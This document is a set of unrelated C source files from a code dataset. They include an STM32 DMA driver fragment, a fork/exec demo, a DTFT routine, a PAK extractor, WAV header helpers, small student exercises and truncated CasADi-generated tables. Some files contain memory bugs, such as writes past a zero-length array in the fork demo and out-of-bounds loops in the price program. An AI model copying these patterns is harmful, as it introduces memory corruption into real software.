assert_param(IS_LL_DMA_FIFO_THRESHOLD(DMA_InitStruct->FIFOThreshold));
assert_param(IS_LL_DMA_MEMORY_BURST(DMA_InitStruct->MemBurst));
assert_param(IS_LL_DMA_PERIPHERAL_BURST(DMA_InitStruct->PeriphBurst));
}
/*---------------------------- DMAx SxCR Configuration ------------------------
* Configure DMAx_Streamy: data transfer direction, data transfer mode,
* peripheral and memory increment mode,
* data size alignment and priority level with parameters :
* - Direction: DMA_SxCR_DIR[1:0] bits
* - Mode: DMA_SxCR_CIRC bit
* - PeriphOrM2MSrcIncMode: DMA_SxCR_PINC bit
* - MemoryOrM2MDstIncMode: DMA_SxCR_MINC bit
* - PeriphOrM2MSrcDataSize: DMA_SxCR_PSIZE[1:0] bits
* - MemoryOrM2MDstDataSize: DMA_SxCR_MSIZE[1:0] bits
* - Priority: DMA_SxCR_PL[1:0] bits
*/
LL_DMA_ConfigTransfer(DMAx, Stream, DMA_InitStruct->Direction | \
DMA_InitStruct->Mode | \
DMA_InitStruct->PeriphOrM2MSrcIncMode | \
DMA_InitStruct->MemoryOrM2MDstIncMode | \
DMA_InitStruct->PeriphOrM2MSrcDataSize | \
DMA_InitStruct->MemoryOrM2MDstDataSize | \
DMA_InitStruct->Priority
);
if (DMA_InitStruct->FIFOMode != LL_DMA_FIFOMODE_DISABLE)
{
/*---------------------------- DMAx SxFCR Configuration ------------------------
* Configure DMAx_Streamy: fifo mode and fifo threshold with parameters :
* - FIFOMode: DMA_SxFCR_DMDIS bit
* - FIFOThreshold: DMA_SxFCR_FTH[1:0] bits
*/
LL_DMA_ConfigFifo(DMAx, Stream, DMA_InitStruct->FIFOMode, DMA_InitStruct->FIFOThreshold);
/*---------------------------- DMAx SxCR Configuration --------------------------
* Configure DMAx_Streamy: memory burst transfer with parameters :
* - MemBurst: DMA_SxCR_MBURST[1:0] bits
*/
LL_DMA_SetMemoryBurstxfer(DMAx, Stream, DMA_InitStruct->MemBurst);
/*---------------------------- DMAx SxCR Configuration --------------------------
* Configure DMAx_Streamy: peripheral burst transfer with parameters :
* - PeriphBurst: DMA_SxCR_PBURST[1:0] bits
*/
LL_DMA_SetPeriphBurstxfer(DMAx, Stream, DMA_InitStruct->PeriphBurst);
}
/*-------------------------- DMAx SxM0AR Configuration --------------------------
* Configure the memory or destination base address with parameter :
* - MemoryOrM2MDstAddress: DMA_SxM0AR_M0A[31:0] bits
*/
LL_DMA_SetMemoryAddress(DMAx, Stream, DMA_InitStruct->MemoryOrM2MDstAddress);
/*-------------------------- DMAx SxPAR Configuration ---------------------------
* Configure the peripheral or source base address with parameter :
* - PeriphOrM2MSrcAddress: DMA_SxPAR_PA[31:0] bits
*/
LL_DMA_SetPeriphAddress(DMAx, Stream, DMA_InitStruct->PeriphOrM2MSrcAddress);
/*--------------------------- DMAx SxNDTR Configuration -------------------------
* Configure the peripheral base address with parameter :
* - NbData: DMA_SxNDT[15:0] bits
*/
LL_DMA_SetDataLength(DMAx, Stream, DMA_InitStruct->NbData);
/*--------------------------- DMA SxCR_CHSEL Configuration ----------------------
* Configure the peripheral base address with parameter :
* - PeriphRequest: DMA_SxCR_CHSEL[3:0] bits
*/
LL_DMA_SetPeriphRequest(DMAx, Stream, DMA_InitStruct->PeriphRequest);
return (uint32_t)SUCCESS;
}
/**
* @brief Set each @ref LL_DMA_InitTypeDef field to default value.
* @param DMA_InitStruct Pointer to a @ref LL_DMA_InitTypeDef structure.
* @retval None
*/
void LL_DMA_StructInit(LL_DMA_InitTypeDef *DMA_InitStruct)
{
/* Set DMA_InitStruct fields to default values */
DMA_InitStruct->PeriphOrM2MSrcAddress = 0x00000000U;
DMA_InitStruct->MemoryOrM2MDstAddress = 0x00000000U;
DMA_InitStruct->Direction = LL_DMA_DIRECTION_PERIPH_TO_MEMORY;
DMA_InitStruct->Mode = LL_DMA_MODE_NORMAL;
DMA_InitStruct->PeriphOrM2MSrcIncMode = LL_DMA_PERIPH_NOINCREMENT;
DMA_InitStruct->MemoryOrM2MDstIncMode = LL_DMA_MEMORY_NOINCREMENT;
DMA_InitStruct->PeriphOrM2MSrcDataSize = LL_DMA_PDATAALIGN_BYTE;
DMA_InitStruct->MemoryOrM2MDstDataSize = LL_DMA_MDATAALIGN_BYTE;
DMA_InitStruct->NbData = 0x00000000U;
DMA_InitStruct->PeriphRequest = LL_DMAMUX1_REQ_MEM2MEM;
DMA_InitStruct->Priority = LL_DMA_PRIORITY_LOW;
DMA_InitStruct->FIFOMode = LL_DMA_FIFOMODE_DISABLE;
DMA_InitStruct->FIFOThreshold = LL_DMA_FIFOTHRESHOLD_1_4;
DMA_InitStruct->MemBurst = LL_DMA_MBURST_SINGLE;
DMA_InitStruct->PeriphBurst = LL_DMA_PBURST_SINGLE;
}
/**
* @}
*/
/**
* @}
*/
/**
* @}
*/
#endif /* DMA1 || DMA2 */
/**
* @}
*/
#endif /* USE_FULL_LL_DRIVER */
|
the_stack_data/148578897.c
|
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/wait.h>
#include <unistd.h>
int main(int argc, char *argv[]) {
printf("hello world (pid:%d)\n", (int)getpid());
int rc = fork();
if (rc < 0) {
// fork failed; exit
fprintf(stderr, "fork failed\n");
exit(1);
}
else if (rc == 0) {
close(STDOUT_FILENO);
open("./p4.output", O_CREAT | O_WRONLY | O_TRUNC, S_IRWXU);
char *myargs[0];
myargs[0] = strdup("wc"); // word count
myargs[1] = strdup("p4.c"); // file to count
myargs[2] = NULL;
execvp(myargs[0], myargs);
}
else {
int rc_wait = wait(NULL);
}
return 0;
}
|
the_stack_data/154830421.c
|
/* dtft.c - DTFT of length-L signal at a single frequency w */
#include <complex.h>
/* complex arithmetic */
void dtft(int L, float x[L], float w, float complex* y) /* usage: X=dtft(L, x, w); */
{
float complex z, X;
int n;
z = cexpf( - I* w); /* set \(z=e\sp{-j\om}\) */
X = 0.f; /* initialize \(X=0\) */
for (n=L-1; n>=0; n--)
X = x[n] + z*X;
*y = X;
}
|
the_stack_data/93887775.c
|
/* get_dir.c directory source for babel-get
* (c) 2006 By L. Ross Raszewski
*
* This code is freely usable for all purposes.
*
* This work is licensed under the Creative Commons Attribution 4.0 License.
* To view a copy of this license, visit
* https://creativecommons.org/licenses/by/4.0/ or send a letter to
* Creative Commons,
* PO Box 1866,
* Mountain View, CA 94042, USA.
*
*
*/
#include <stdio.h>
#include <stdlib.h>
#ifdef __cplusplus
extern "C" {
#endif
int chdir(const char *);
char *getcwd(char *, int);
#ifdef __cplusplus
}
#endif
char *get_ifiction(char *, char *);
char *get_dir(char *ifid, char *from)
{
char cwd[512];
char buff[520];
char *md;
if (!ifid) return NULL;
getcwd(cwd,512);
sprintf(buff,"%s.iFiction",ifid);
chdir(from);
md=get_ifiction(ifid,buff);
chdir(cwd);
return md;
}
|
the_stack_data/115766593.c
|
/*
Copyright (C) 2019 Missingno_force a.k.a. Missingmew
See LICENSE for details.
*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <stdint.h>
int writeFile( FILE *input, int length, FILE *output ) {
unsigned char dataBuffer[1024];
unsigned int bytesLeft = length;
while(bytesLeft) {
unsigned int wantedRead;
if(bytesLeft >= sizeof(dataBuffer))
wantedRead = sizeof(dataBuffer);
else
wantedRead = bytesLeft;
unsigned int haveRead = fread(dataBuffer, 1, wantedRead, input);
if(haveRead != wantedRead) {
printf("haveRead != wantedRead: %d != %d\n", haveRead, wantedRead);
perror("This broke");
return 0;
}
unsigned int haveWrite = fwrite(dataBuffer, 1, haveRead, output);
if(haveWrite != haveRead) {
printf("haveWrite != haveRead: %d != %d\n", haveWrite, haveRead);
return 0;
}
bytesLeft -= haveRead;
}
return 1;
}
int main( int argc, char **argv ) {
char name[64];
uint32_t size, len;
unsigned int remember;
if( argc < 2 ) {
printf("Not enough args!\nUse: %s PAK-file\n", argv[0]);
return 1;
}
uint32_t numFiles, workfiles;
FILE *f, *o;
if( !(f = fopen( argv[1], "rb" ))) {
printf("Couldnt open file %s\n", argv[1]);
return 1;
}
fread( &numFiles, 4, 1, f );
printf("Number of files: %u\n", numFiles );
for( workfiles = 0; workfiles < numFiles; workfiles++ ) {
remember = ftell(f);
len = 0;
while(fgetc(f)) len++;
len++;
fseek(f, remember, SEEK_SET);
if((remember+len)%4) len+= 4-((remember+len)%4);
if(len > 64) {
printf("namelen > 32!\n");
return 1;
}
fread(name, len, 1, f );
fread( &size, 4, 1, f );
if(ftell(f)%0x10) fseek(f, (0x10-(ftell(f)%0x10)), SEEK_CUR);
printf("Current file: %s - Size %08x\n", name, size);
if( !(o = fopen( name, "wb" ))) {
printf("Couldnt open output %s\n", name);
return 1;
}
writeFile( f, size, o );
fclose(o);
fseek(f, 1, SEEK_CUR);
}
printf("Done.\n");
fclose(f);
return 0;
}
|
the_stack_data/641109.c
|
#if defined(WIN32) || defined(__CYGWIN__)
#include <assert.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define TAG_FOURCC_RIFF 0x52494646
#define TAG_FOURCC_WAVE 0x57415645
#define TAG_FOURCC_fmt 0x666d7420
#define TAG_FOURCC_data 0x64617461
#define TAG_FORMAT_PCM 0x0001
int TestBigEndian(void)
{
unsigned long test = 0x000000FF;
char *temp = (char *) &test;
// on big endian machines, the first byte should be 0x00, on little endian 0xFF.
return (temp[0] == 0);
}
static void pack32BE(unsigned long ulValue, unsigned char **ppBuf,
unsigned long *pulLen)
{
if (ppBuf && *ppBuf && pulLen && *pulLen >= 4) {
unsigned char *pBuf = *ppBuf;
pBuf[0] = (unsigned char) ((ulValue & 0xFF000000) >> 24);
pBuf[1] = (unsigned char) ((ulValue & 0x00FF0000) >> 16);
pBuf[2] = (unsigned char) ((ulValue & 0x0000FF00) >> 8);
pBuf[3] = (unsigned char) (ulValue & 0x000000FF);
*ppBuf += 4;
*pulLen -= 4;
}
}
static void pack32LE(unsigned long ulValue, unsigned char **ppBuf,
unsigned long *pulLen)
{
if (ppBuf && *ppBuf && pulLen && *pulLen >= 4) {
unsigned char *pBuf = *ppBuf;
pBuf[0] = (unsigned char) (ulValue & 0x000000FF);
pBuf[1] = (unsigned char) ((ulValue & 0x0000FF00) >> 8);
pBuf[2] = (unsigned char) ((ulValue & 0x00FF0000) >> 16);
pBuf[3] = (unsigned char) ((ulValue & 0xFF000000) >> 24);
*ppBuf += 4;
*pulLen -= 4;
}
}
static void pack16LE(unsigned short usValue, unsigned char **ppBuf,
unsigned long *pulLen)
{
if (ppBuf && *ppBuf && pulLen && *pulLen >= 2) {
unsigned char *pBuf = *ppBuf;
pBuf[0] = (unsigned char) (usValue & 0x000000FF);
pBuf[1] = (unsigned char) ((usValue & 0x0000FF00) >> 8);
*ppBuf += 2;
*pulLen -= 2;
}
}
void WriteWAVHeader(FILE * fp, int sampRateOut, int bitsPerSample,
int nChans)
{
// Only works for numChannels <= 2 now
if (fp && nChans <= 2) {
unsigned char ucTmp[44];
unsigned char *pTmp = &ucTmp[0];
unsigned long ulTmp = sizeof(ucTmp);
int lByteRate = sampRateOut * nChans * 2;
int lBlockAlign = nChans * 2;
// Pack the RIFF four cc
pack32BE(TAG_FOURCC_RIFF, &pTmp, &ulTmp);
// Pack 0 for the RIFF chunk size - update in UpdateWAVHeader.
pack32LE(0, &pTmp, &ulTmp);
// Pack the WAVE four cc
pack32BE(TAG_FOURCC_WAVE, &pTmp, &ulTmp);
// Pack the 'fmt ' subchunk four cc
pack32BE(TAG_FOURCC_fmt, &pTmp, &ulTmp);
// Pack the fmt subchunk size
pack32LE(16, &pTmp, &ulTmp);
// Pack the audio format
pack16LE((unsigned short) TAG_FORMAT_PCM, &pTmp, &ulTmp);
// Pack the number of channels
pack16LE((unsigned short) nChans, &pTmp, &ulTmp);
// Pack the sample rate
pack32LE((unsigned long) sampRateOut, &pTmp, &ulTmp);
// Pack the byte rate
pack32LE((unsigned long) lByteRate, &pTmp, &ulTmp);
// Pack the block align (ulChannels * 2)
pack16LE((unsigned short) lBlockAlign, &pTmp, &ulTmp);
// Pack the bits per sample
pack16LE((unsigned short) bitsPerSample, &pTmp, &ulTmp);
// Pack the 'data' subchunk four cc
pack32BE(TAG_FOURCC_data, &pTmp, &ulTmp);
// Pack the data subchunk size (0 for now - update in UpdateWavHeader)
pack32LE(0, &pTmp, &ulTmp);
// Write out the wav header
fwrite(&ucTmp[0], 1, 44, fp);
}
}
void UpdateWAVHeader(char *pFileName)
{
if (pFileName && strcmp(pFileName, "-")) {
/* Re-open the file for updating */
FILE *fp = fopen((const char *) pFileName, "r+b");
if (fp) {
unsigned char ucTmp[4];
unsigned long ulFileSize = 0;
unsigned long ulRIFFSize = 0;
unsigned long ulDataSize = 0;
unsigned char *pTmp = NULL;
unsigned long ulLen = 0;
/*
* Compute the RIFF chunk size and the
* data chunk size from the size of the file.
*/
fseek(fp, 0, SEEK_END);
ulFileSize = (unsigned long) ftell(fp);
ulRIFFSize = ulFileSize - 8;
ulDataSize = ulFileSize - 44;
/* Seek to the RIFF chunk size */
fseek(fp, 4, SEEK_SET);
/* Set up the packing buffer */
pTmp = &ucTmp[0];
ulLen = sizeof(ucTmp);
/* Pack the RIFF chunk size */
pack32LE(ulRIFFSize, &pTmp, &ulLen);
/* Write out the buffer */
fwrite(&ucTmp[0], 1, 4, fp);
/* Seek to the beginning of the data chunk size */
fseek(fp, 40, SEEK_SET);
/* Set up the packing buffer */
pTmp = &ucTmp[0];
ulLen = sizeof(ucTmp);
/* Pack the data chunk size */
pack32LE(ulDataSize, &pTmp, &ulLen);
/* Write out the buffer */
fwrite(&ucTmp[0], 1, 4, fp);
/* Close the file */
fclose(fp);
}
}
}
void ReadWAVHeader(FILE * fp, int *sampRate, int *nChans)
{
char b_val[4];
short s_val;
int l_val;
*sampRate = *nChans = 0;
fseek(fp, 0, SEEK_SET);
if (fp) {
fread(b_val, 1, 4, fp);
if (strncmp(b_val, "RIFF", 4)) {
printf("ReadWAVHeader(): not wav format file\n");
exit(-1);
}
fseek(fp, 8, SEEK_SET);
fread(b_val, 1, 4, fp);
if (strncmp(b_val, "WAVE", 4)) {
printf("ReadWAVHeader(): not wav format file\n");
exit(-1);
}
fread(b_val, 1, 4, fp);
if (strncmp(b_val, "fmt ", 4)) {
printf("ReadWAVHeader(): not wav format file\n");
exit(-1);
}
// we always assume 16 bit pcm
fseek(fp, 22, SEEK_SET);
fread(&s_val, 2, 1, fp);
*nChans = (int)s_val;
fread(&l_val, 4, 1, fp);
*sampRate = l_val;
// set to the end of wave header
fseek(fp, 44, SEEK_SET);
}
}
#endif // defined(WIN32) || defined(__CYGWIN__)
|
the_stack_data/126703756.c
|
#include <stdio.h>
#include <string.h>
int main(){
char expressao[1000] = "";
while(scanf("%s", expressao) != EOF)
{
int fechados = 0, erro = 0, pAbertos = 0, pFechados = 0, i = 0;
for(; i < strlen(expressao); i++){
if(expressao[i] == '('){
fechados++;
pAbertos++;
}
else if(expressao[i] == ')'){
fechados--;
pFechados++;
if(fechados < 0)
erro++;
}
}
if(pAbertos > 0 || pFechados > 0)
printf(fechados == 0 && erro == 0 ? "correct\n" : "incorrect\n");
}
return 0;
}
|
the_stack_data/187643694.c
|
#include <stdio.h>
#include <unistd.h>
int main(int argc,char *argv[])
{
printf("My PID is %d\n",getpid());
printf("Parent PID is %d\n",getppid());
return 0;
}
|
the_stack_data/220363.c
|
#include <stdio.h>
#include <string.h>
int main()
{
float preco = 0, total = 0, caro = 0;
int convert;
char material[99], materialcaro[99];
do
{
if (preco != 0)
{
scanf("%f", &preco);
}
if (preco > caro)
{
caro = preco;
strcpy(materialcaro,material);
convert = 0;
while (convert <= 99)
{
materialcaro[convert] = toupper(materialcaro[convert]);
convert ++;
}
}
total += preco;
preco = 1;
scanf("%s", &*material);
convert = 0;
while (convert <= 99)
{
material[convert] = tolower(material[convert]);
convert ++;
}
} while (strcmp(material,"fim") != 0);
printf("%.2f\n%s\n", total, materialcaro);
return(0);
}
|
the_stack_data/122014239.c
|
#if defined(USE_RTTHREAD)
#include <entry.h>
rt_thread_t loop_thread = RT_NULL;
void loop (void* parameter);
int loop_start(void)
{
rt_thread_mdelay(500);
RTT_CREATE(loop,loop,RT_NULL,2048,5,20);
return 0;
}
#endif
|
the_stack_data/141614.c
|
// aritmetikai művelet (szorzás)
#include <stdio.h>
int main()
{
int ev;
printf("Hany eves vagy?\n");
scanf("%d", &ev);
int napok = ev * 365;
printf("Akkor legalabb %d napos vagy.\n", napok);
return 0;
}
|
the_stack_data/892740.c
|
int depth_1() {}
|
the_stack_data/148577881.c
|
int func7a(void)
{
return 1;
}
|
the_stack_data/872206.c
|
/* This file was automatically generated by CasADi.
The CasADi copyright holders make no ownership claim of its contents. */
#ifdef __cplusplus
extern "C" {
#endif
/* How to prefix internal symbols */
#ifdef CODEGEN_PREFIX
#define NAMESPACE_CONCAT(NS, ID) _NAMESPACE_CONCAT(NS, ID)
#define _NAMESPACE_CONCAT(NS, ID) NS ## ID
#define CASADI_PREFIX(ID) NAMESPACE_CONCAT(CODEGEN_PREFIX, ID)
#else
#define CASADI_PREFIX(ID) vde_chain_nm9_ ## ID
#endif
#include <math.h>
#ifndef casadi_real
#define casadi_real double
#endif
#ifndef casadi_int
#define casadi_int int
#endif
/* Add prefix to internal symbols */
#define casadi_f0 CASADI_PREFIX(f0)
#define casadi_s0 CASADI_PREFIX(s0)
#define casadi_s1 CASADI_PREFIX(s1)
#define casadi_s2 CASADI_PREFIX(s2)
#define casadi_s3 CASADI_PREFIX(s3)
#define casadi_sq CASADI_PREFIX(sq)
/* Symbol visibility in DLLs */
#ifndef CASADI_SYMBOL_EXPORT
#if defined(_WIN32) || defined(__WIN32__) || defined(__CYGWIN__)
#if defined(STATIC_LINKED)
#define CASADI_SYMBOL_EXPORT
#else
#define CASADI_SYMBOL_EXPORT __declspec(dllexport)
#endif
#elif defined(__GNUC__) && defined(GCC_HASCLASSVISIBILITY)
#define CASADI_SYMBOL_EXPORT __attribute__ ((visibility ("default")))
#else
#define CASADI_SYMBOL_EXPORT
#endif
#endif
static const casadi_int casadi_s0[52] = {48, 1, 0, 48, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47};
static const casadi_int casadi_s1[2355] = {48, 48, 0, 48, 96, 144, 192, 240, 288, 336, 384, 432, 480, 528, 576, 624, 672, 720, 768, 816, 864, 912, 960, 1008, 1056, 1104, 1152, 1200, 1248, 1296, 1344, 1392, 1440, 1488, 1536, 1584, 1632, 1680, 1728, 1776, 1824, 1872, 1920, 1968, 2016, 2064, 2112, 2160, 2208, 2256, 2304, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 